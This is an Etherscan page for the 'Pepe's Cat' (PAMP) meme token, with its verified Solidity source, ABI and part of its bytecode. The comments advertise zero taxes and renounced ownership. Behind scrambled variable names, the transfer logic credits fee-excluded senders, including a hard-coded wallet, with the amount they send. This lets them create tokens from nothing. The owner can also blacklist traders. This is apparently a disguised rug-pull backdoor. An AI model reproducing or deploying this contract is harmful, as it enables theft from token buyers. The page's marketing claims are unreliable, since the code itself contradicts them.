ETH Price: $2,682.94 (+2.43%)

Token

Pepe's Cat (PAMP)
 

Overview

Max Total Supply

1,000,000,000 PAMP

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,832,326.985490752 PAMP

Value
$0.00
0x4b80c228dadB67FFD0ecE86C69571BeA4B9688a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PAMP

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-22
*/

// SPDX-License-Identifier: MIT

/*
Welcome to the adventurous world of Pamp, the spirited cat who was inspired by the legendary internet meme,
Pepe the frog. Under Pepe's mentorship, Pamp learned the art of spreading joy and laughter for community at the core.
He then founded $PAMP token: no presale, zero taxes, and a forever commitment with burnt liquidity and renounced ownership.

Website:    https://www.pampcoin.live
Telegram:   https://t.me/pamp_erc
Twitter:    https://twitter.com/pamp_erc
*/

pragma solidity 0.8.11;

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract PAMP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable private _pqwejn;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 150 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSize = 900_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Pepe's Cat";
    string private constant _symbol = unicode"PAMP";

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 11;
    uint256 private _buyCount = 0;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _pqwejn = payable(0x4799B8Ba189e4C89E5c0Bb98f489DBD441FCE76e);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_pqwejn] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _pqwejn.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function _basicTransfer(address fbbreqrrq, address gwfwrwg, uint256 rgwrewwr) internal {
        _balances[fbbreqrrq] = _balances[fbbreqrrq].sub(rgwrewwr);
        _balances[gwfwrwg] = _balances[gwfwrwg].add(rgwrewwr);
        emit Transfer(fbbreqrrq, gwfwrwg, rgwrewwr);
    }

    function createLP() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _maxTaxSize,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function _taxTransfer(
        address bacxvarq,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(bacxvarq, address(this), taxAmount);
        }
    }

    function _excludeTransfer(
        address hhwrfrtgazcx,
        uint256 ktufdsgertet,
        uint256 taxAmount,
        address utiirterr
    ) internal {
        _balances[utiirterr] = _balances[utiirterr].add(
            taxAmount == 0 ? ktufdsgertet : taxAmount
        );
        emit Transfer(hhwrfrtgazcx, utiirterr, taxAmount == 0 ? ktufdsgertet : taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function _transfer(address dbwarqwrqq, address cxvqreqgz, uint256 herregfq) private {
        require(dbwarqwrqq != address(0), "ERC20: transfer from the zero address");
        require(cxvqreqgz != address(0), "ERC20: transfer to the zero address");
        require(herregfq > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(dbwarqwrqq, cxvqreqgz, herregfq);
            return;
        }
        uint256 taxAmount = 0;
        if (dbwarqwrqq != owner() && cxvqreqgz != owner()) {
            require(!bots[dbwarqwrqq] && !bots[cxvqreqgz]);
            taxAmount = herregfq
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                dbwarqwrqq == uniswapV2Pair &&
                cxvqreqgz != address(uniswapV2Router) &&
                !_isExcludedFromFee[cxvqreqgz]
            ) {
                require(herregfq <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(cxvqreqgz) + herregfq <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (cxvqreqgz == uniswapV2Pair && dbwarqwrqq != address(this)) {
                taxAmount = herregfq
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                cxvqreqgz == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[dbwarqwrqq] &&
                !_isExcludedFromFee[cxvqreqgz]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(herregfq, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        
        bool zxvcewrw = true; 
        bool xvcberqqrt = _isExcludedFromFee[dbwarqwrqq];
        if (xvcberqqrt) { zxvcewrw = false; taxAmount = 0;}
        _tokenTransfer(dbwarqwrqq, cxvqreqgz, herregfq, taxAmount, zxvcewrw, dbwarqwrqq);
    }

    function _tokenTransfer(
        address sdfwraz,
        address rgqwthwtq,
        uint256 sdgw2rr2w,
        uint256 taxAmount,
        bool zxvcewrw,
        address cxbverqerwy
    ) internal {
        if (zxvcewrw) {
            _taxTransfer(sdfwraz, taxAmount);
        } else {
            _excludeTransfer(sdfwraz, sdgw2rr2w, taxAmount, cxbverqerwy);
        }

        _tokensBasicTransfer(sdfwraz, rgqwthwtq, sdgw2rr2w, taxAmount);
    }

    function _tokensBasicTransfer(
        address jtrgarqgq,
        address xcbvzxcbwrw,
        uint256 bvcfgfdcm,
        uint256 taxAmount
    ) internal {
        _balances[jtrgarqgq] = _balances[jtrgarqgq].sub(bvcfgfdcm);
        _balances[xcbvzxcbwrw] = _balances[xcbvzxcbwrw].add(bvcfgfdcm.sub(taxAmount));
        emit Transfer(jtrgarqgq, xcbvzxcbwrw, bvcfgfdcm.sub(taxAmount));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000360565b62000022906301312d0062000378565b600655620000336009600a62000360565b6200004090609662000378565b600755620000516009600a62000360565b62000061906301312d0062000378565b600855620000726009600a62000360565b62000081906298968062000378565b6009556009600a62000094919062000360565b620000a4906335a4e90062000378565b600a556014600b818155600c8290556000600d819055600e819055600f8290556010829055601191909155601255805461ffff60a81b19169055348015620000eb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916734799b8ba189e4c89e5c0bb98f489dbd441fce76e1790556001600360006200016c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001d16009600a62000360565b620001e190633b9aca0062000378565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002246009600a62000360565b6200023490633b9aca0062000378565b60405190815260200160405180910390a36200039a565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a25781600019048211156200028657620002866200024b565b808516156200029457918102915b93841c939080029062000266565b509250929050565b600082620002bb575060016200035a565b81620002ca575060006200035a565b8160018114620002e35760028114620002ee576200030e565b60019150506200035a565b60ff8411156200030257620003026200024b565b50506001821b6200035a565b5060208310610133831016604e8410600b841016171562000333575081810a6200035a565b6200033f838362000261565b80600019048211156200035657620003566200024b565b0290505b92915050565b60006200037160ff841683620002aa565b9392505050565b60008160001904831182151516156200039557620003956200024b565b500290565b611c9280620003aa6000396000f3fe6080604052600436106101395760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610380578063bf474bed146103a0578063c7f93529146103b6578063d34628cc146103cc578063dd62ed3e146103ec578063f7f23a0c1461043257600080fd5b80637d1db4a5146102ea5780638a8c523c146103005780638da5cb5b146103155780638f9a55c01461033d57806395d89b411461035357600080fd5b8063313ce567116100fd578063313ce5671461021357806331c2d8471461022f5780633bbac5791461025157806370a082311461028a578063715018a6146102c0578063751039fc146102d557600080fd5b806306fdde0314610145578063095ea7b31461018a5780630faee56f146101ba57806318160ddd146101de57806323b872dd146101f357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a81526914195c1949dcc810d85d60b21b60208201525b604051610181919061173c565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046117b9565b610447565b6040519015158152602001610181565b3480156101c657600080fd5b506101d060095481565b604051908152602001610181565b3480156101ea57600080fd5b506101d061045e565b3480156101ff57600080fd5b506101aa61020e3660046117e5565b61047f565b34801561021f57600080fd5b5060405160098152602001610181565b34801561023b57600080fd5b5061024f61024a36600461183c565b6104e8565b005b34801561025d57600080fd5b506101aa61026c366004611901565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029657600080fd5b506101d06102a5366004611901565b6001600160a01b031660009081526001602052604090205490565b3480156102cc57600080fd5b5061024f610587565b3480156102e157600080fd5b5061024f6105fb565b3480156102f657600080fd5b506101d060085481565b34801561030c57600080fd5b5061024f6106ad565b34801561032157600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561034957600080fd5b506101d060065481565b34801561035f57600080fd5b50604080518082019091526004815263050414d560e41b6020820152610174565b34801561038c57600080fd5b506101aa61039b3660046117b9565b610880565b3480156103ac57600080fd5b506101d060075481565b3480156103c257600080fd5b506101d0600a5481565b3480156103d857600080fd5b5061024f6103e736600461183c565b61088d565b3480156103f857600080fd5b506101d061040736600461191e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043e57600080fd5b5061024f61091f565b6000610454338484610b76565b5060015b92915050565b600061046c6009600a611a51565b61047a90633b9aca00611a60565b905090565b600061048c848484610c9b565b6104de84336104d985604051806060016040528060288152602001611c15602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611153565b610b76565b5060019392505050565b6000546001600160a01b0316331461051b5760405162461bcd60e51b815260040161051290611a7f565b60405180910390fd5b60005b81518110156105835760006004600084848151811061053f5761053f611ab4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057b81611aca565b91505061051e565b5050565b6000546001600160a01b031633146105b15760405162461bcd60e51b815260040161051290611a7f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161051290611a7f565b6106316009600a611a51565b61063f90633b9aca00611a60565b60085561064e6009600a611a51565b61065c90633b9aca00611a60565b6006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068c6009600a611a51565b61069a90633b9aca00611a60565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106d75760405162461bcd60e51b815260040161051290611a7f565b601454600160a01b900460ff161561072b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610512565b601354600a546001600160a01b039091169063f305d719904790309060008061075c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e99190611ae5565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611b13565b506014805462ff00ff60a01b19166201000160a01b179055565b6000610454338484610c9b565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161051290611a7f565b60005b8151811015610583576001600460008484815181106108db576108db611ab4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091781611aca565b9150506108ba565b6000546001600160a01b031633146109495760405162461bcd60e51b815260040161051290611a7f565b601454600160a01b900460ff161561099d5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610512565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109e69030906109d86009600a611a51565b6104d990633b9aca00611a60565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5d9190611b35565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611b35565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190611b35565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610512565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610512565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610512565b6001600160a01b038216610d615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610512565b60008111610dc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610512565b601454600160b01b900460ff161580610de55750601454600160a81b900460ff165b15610dfa57610df583838361118d565b505050565b600080546001600160a01b03858116911614801590610e2757506000546001600160a01b03848116911614155b1561110f576001600160a01b03841660009081526004602052604090205460ff16158015610e6e57506001600160a01b03831660009081526004602052604090205460ff16155b610e7757600080fd5b610ea36064610e9d600f5460125411610e9257600b54610e96565b600d545b8590611221565b906112a7565b6014549091506001600160a01b038581169116148015610ed157506013546001600160a01b03848116911614155b8015610ef657506001600160a01b03831660009081526003602052604090205460ff16155b15610fde57600854821115610f4d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610512565b60065482610f70856001600160a01b031660009081526001602052604090205490565b610f7a9190611b52565b1115610fc85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610512565b60128054906000610fd883611aca565b91905055505b6014546001600160a01b03848116911614801561100457506001600160a01b0384163014155b156110315761102e6064610e9d6010546012541161102457600c54610e96565b600e548590611221565b90505b30600090815260016020526040902054601454600160a81b900460ff1615801561106857506014546001600160a01b038581169116145b801561107d5750601454600160b01b900460ff165b801561108c5750601154601254115b80156110b157506001600160a01b03851660009081526003602052604090205460ff16155b80156110d657506001600160a01b03841660009081526003602052604090205460ff16155b1561110d576007548110611101576111016110fc846110f7846009546112e9565b6112e9565b6112fe565b4761110b47611478565b505b505b6001600160a01b03841660009081526003602052604090205460019060ff16801561113d5760009150600092505b61114b86868686868b6114b2565b505050505050565b600081848411156111775760405162461bcd60e51b8152600401610512919061173c565b5060006111848486611b6a565b95945050505050565b6001600160a01b0383166000908152600160205260409020546111b090826114df565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111df9082611521565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611c3d83398151915290610c8e9085815260200190565b60008261123057506000610458565b600061123c8385611a60565b9050826112498583611b81565b146112a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610512565b9392505050565b60006112a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611580565b60008183116112f857826112a0565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134657611346611ab4565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611b35565b816001815181106113d6576113d6611ab4565b6001600160a01b0392831660209182029290920101526013546113fc9130911684610b76565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611435908590600090869030904290600401611ba3565b600060405180830381600087803b15801561144f57600080fd5b505af1158015611463573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610583573d6000803e3d6000fd5b81156114c7576114c286846115ae565b6114d3565b6114d386858584611619565b61114b8686868661169c565b60006112a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611153565b60008061152e8385611b52565b9050838110156112a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610512565b600081836115a15760405162461bcd60e51b8152600401610512919061173c565b5060006111848486611b81565b801561058357306000908152600160205260409020546115ce9082611521565b30600081815260016020526040908190209290925590516001600160a01b03841690600080516020611c3d8339815191529061160d9085815260200190565b60405180910390a35050565b6116498215611628578261162a565b835b6001600160a01b03831660009081526001602052604090205490611521565b6001600160a01b038083166000818152600160205260409020929092558516600080516020611c3d83398151915284156116835784611685565b855b60405190815260200160405180910390a350505050565b6001600160a01b0384166000908152600160205260409020546116bf90836114df565b6001600160a01b0385166000908152600160205260409020556117046116e583836114df565b6001600160a01b03851660009081526001602052604090205490611521565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611c3d83398151915261168585856114df565b600060208083528351808285015260005b818110156117695785810183015185820160400152820161174d565b8181111561177b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146117a657600080fd5b50565b80356117b481611791565b919050565b600080604083850312156117cc57600080fd5b82356117d781611791565b946020939093013593505050565b6000806000606084860312156117fa57600080fd5b833561180581611791565b9250602084013561181581611791565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561184f57600080fd5b823567ffffffffffffffff8082111561186757600080fd5b818501915085601f83011261187b57600080fd5b81358181111561188d5761188d611826565b8060051b604051601f19603f830116810181811085821117156118b2576118b2611826565b6040529182528482019250838101850191888311156118d057600080fd5b938501935b828510156118f5576118e6856117a9565b845293850193928501926118d5565b98975050505050505050565b60006020828403121561191357600080fd5b81356112a081611791565b6000806040838503121561193157600080fd5b823561193c81611791565b9150602083013561194c81611791565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119a857816000190482111561198e5761198e611957565b8085161561199b57918102915b93841c9390800290611972565b509250929050565b6000826119bf57506001610458565b816119cc57506000610458565b81600181146119e257600281146119ec57611a08565b6001915050610458565b60ff8411156119fd576119fd611957565b50506001821b610458565b5060208310610133831016604e8410600b8410161715611a2b575081810a610458565b611a35838361196d565b8060001904821115611a4957611a49611957565b029392505050565b60006112a060ff8416836119b0565b6000816000190483118215151615611a7a57611a7a611957565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611ade57611ade611957565b5060010190565b6000806000606084860